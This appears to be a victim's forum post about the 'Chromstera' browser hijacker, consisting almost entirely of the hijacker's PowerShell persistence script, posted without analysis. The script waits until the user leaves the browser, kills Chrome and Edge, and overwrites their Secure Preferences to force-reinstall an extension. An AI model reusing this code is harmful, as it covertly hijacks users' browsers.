Chromstera browser hijacker on my computer, need help finding and deleting files

Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;

public class User32 {
    [DllImport("user32.dll")]
    public static extern IntPtr GetForegroundWindow();

    [DllImport("user32.dll", SetLastError=true)]
    public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

    [DllImport("user32.dll")]
    public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);

    public struct LASTINPUTINFO
    {
        public uint cbSize;
        public uint dwTime;
    }
}
"@

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

$form = New-Object System.Windows.Forms.Form
$form.Text = 'Data Entry Form'
$form.Size = New-Object System.Drawing.Size(300,200)
$form.StartPosition = 'CenterScreen'

$okButton = New-Object System.Windows.Forms.Button
$okButton.Location = New-Object System.Drawing.Point(75,120)
$okButton.Size = New-Object System.Drawing.Size(75,23)
$okButton.Text = 'OK'
$okButton.DialogResult = [System.Windows.Forms.DialogResult]::OK
$form.AcceptButton = $okButton
$form.Controls.Add($okButton)

$cancelButton = New-Object System.Windows.Forms.Button
$cancelButton.Location = New-Object System.Drawing.Point(150,120)
$cancelButton.Size = New-Object System.Drawing.Size(75,23)
$cancelButton.Text = 'Cancel'
$cancelButton.DialogResult = [System.Windows.Forms.DialogResult]::Cancel
$form.CancelButton = $cancelButton
$form.Controls.Add($cancelButton)

$label = New-Object System.Windows.Forms.Label
$label.Location = New-Object System.Drawing.Point(10,20)
$label.Size = New-Object System.Drawing.Size(280,20)
$label.Text = 'Please enter the information in the space below:'
$form.Controls.Add($label)

$textBox = New-Object System.Windows.Forms.TextBox
$textBox.Location = New-Object System.Drawing.Point(10,40)
$textBox.Size = New-Object System.Drawing.Size(260,20)

function Get-ActiveWindowTitle {
    $hWnd = [User32]::GetForegroundWindow()
    $text = New-Object System.Text.StringBuilder 256
    if ([User32]::GetWindowText($hWnd, $text, $text.Capacity) -gt 0) {
        return $text.ToString()
    }
    return $null
}

function Is-Extension-Installed {
    param (
        [string] $preference,
        [string] $id
    )

    try {
        if (Test-Path -Path $preference) {
            $chrome_json = Get-Content $preference -Raw | ConvertFrom-Json;

            foreach($ext in $chrome_json.extensions.settings.PsObject.Properties) {
                $name = $ext.Name;
                $value = $ext.Value;

                if ($name -eq $id) {
                    if ($value.state -eq 1) {
                        return $true;
                        break;
                    }
                }
            }
        }
    } catch {
        Write-Host $_.Exception.Message;
    }

    return $false;
}

$localappdata = $env:localappdata;

$chrome = "Google\Chrome";
$edge = "Microsoft\Edge";

$chromeProfile = "$localappdata\$chrome\User Data\Default\";
$edgeProfile = "$localappdata\$edge\User Data\Default\";

$chromeExt = "$chromeProfile\Extensions\$id";
$edgeExt = "$edgeProfile\Extensions\$id";

$chromePref = "$chromeProfile\Secure Preferences";
$edgePref = "$edgeProfile\Secure Preferences";

$configFile = "$localappdata\reserve\config.txt";

if (Test-Path -Path $configFile) {
    $data = Get-Content -Path $configFile;
    $id = $data[4].Substring(7);

    $chromeData = Get-Content -Path $chromePref -ErrorAction SilentlyContinue;
    $edgeData = Get-Content -Path $edgePref -ErrorAction SilentlyContinue;

    if ((Test-Path -Path $chromeExt) -Or (Test-Path -Path $edgeExt)) {
        $chromeInstalled = Is-Extension-Installed -preference $chromePref -id $id;
        $edgeInstalled = Is-Extension-Installed -preference $edgePref -id $id;

        if (-Not($chromeInstalled -And $edgeInstalled)) {
            $checkIntervalSeconds = 60 # Check interval (e.g., every 10 seconds)
            $nonBrowserDuration = 600  # If non-browser active for 60 seconds, display success
            $nonBrowserTime = 0 # Timer for non-browser activity

            for ($i = 0; $i -lt 300; $i++) {
                $activeWindow = Get-ActiveWindowTitle

                if ($activeWindow -match "Chrome|Edge") {
                    Write-Output "The active window is a browser (Chrome or Edge): $activeWindow";
                    $nonBrowserTime = 0;
                } else {
                    Write-Output "The active window is not Chrome or Edge. It is: $activeWindow"
                    $nonBrowserTime += $checkIntervalSeconds;
                }

                if ($nonBrowserTime -ge $nonBrowserDuration) {
                    if (Test-Path -Path $chromeExt) {
                        if ($chromeInstalled) {
                            Write-Output "Chrome Extension Already Installed";
                        } else {
                            Stop-Process -Name 'chrome';
                            $file = "$localappdata\reserve\$chrome\Secure Preferences";
                            Copy-Item -Path $file -Destination $chromeProfile -Force;
                        }
                    }

                    if (Test-Path -Path $edgeExt) {
                        if ($edgeInstalled) {
                            Write-Output "Edge Extension Already Installed";
                        } else {
                            Stop-Process -Name 'msedge';
                            $file = "$localappdata\reserve\$edge\Secure Preferences";
                            Copy-Item -Path $file -Destination $edgeProfile -Force;
                        }
                    }

                    break;
                }

                Start-Sleep -Seconds $checkIntervalSeconds;
            }
        } else {
            Write-Output "Extension already installed on Chrome & Edge";
        }
    } else {
        Write-Output "Extension folder not found";
    }
} else {
    Write-Output "Config file not found";
}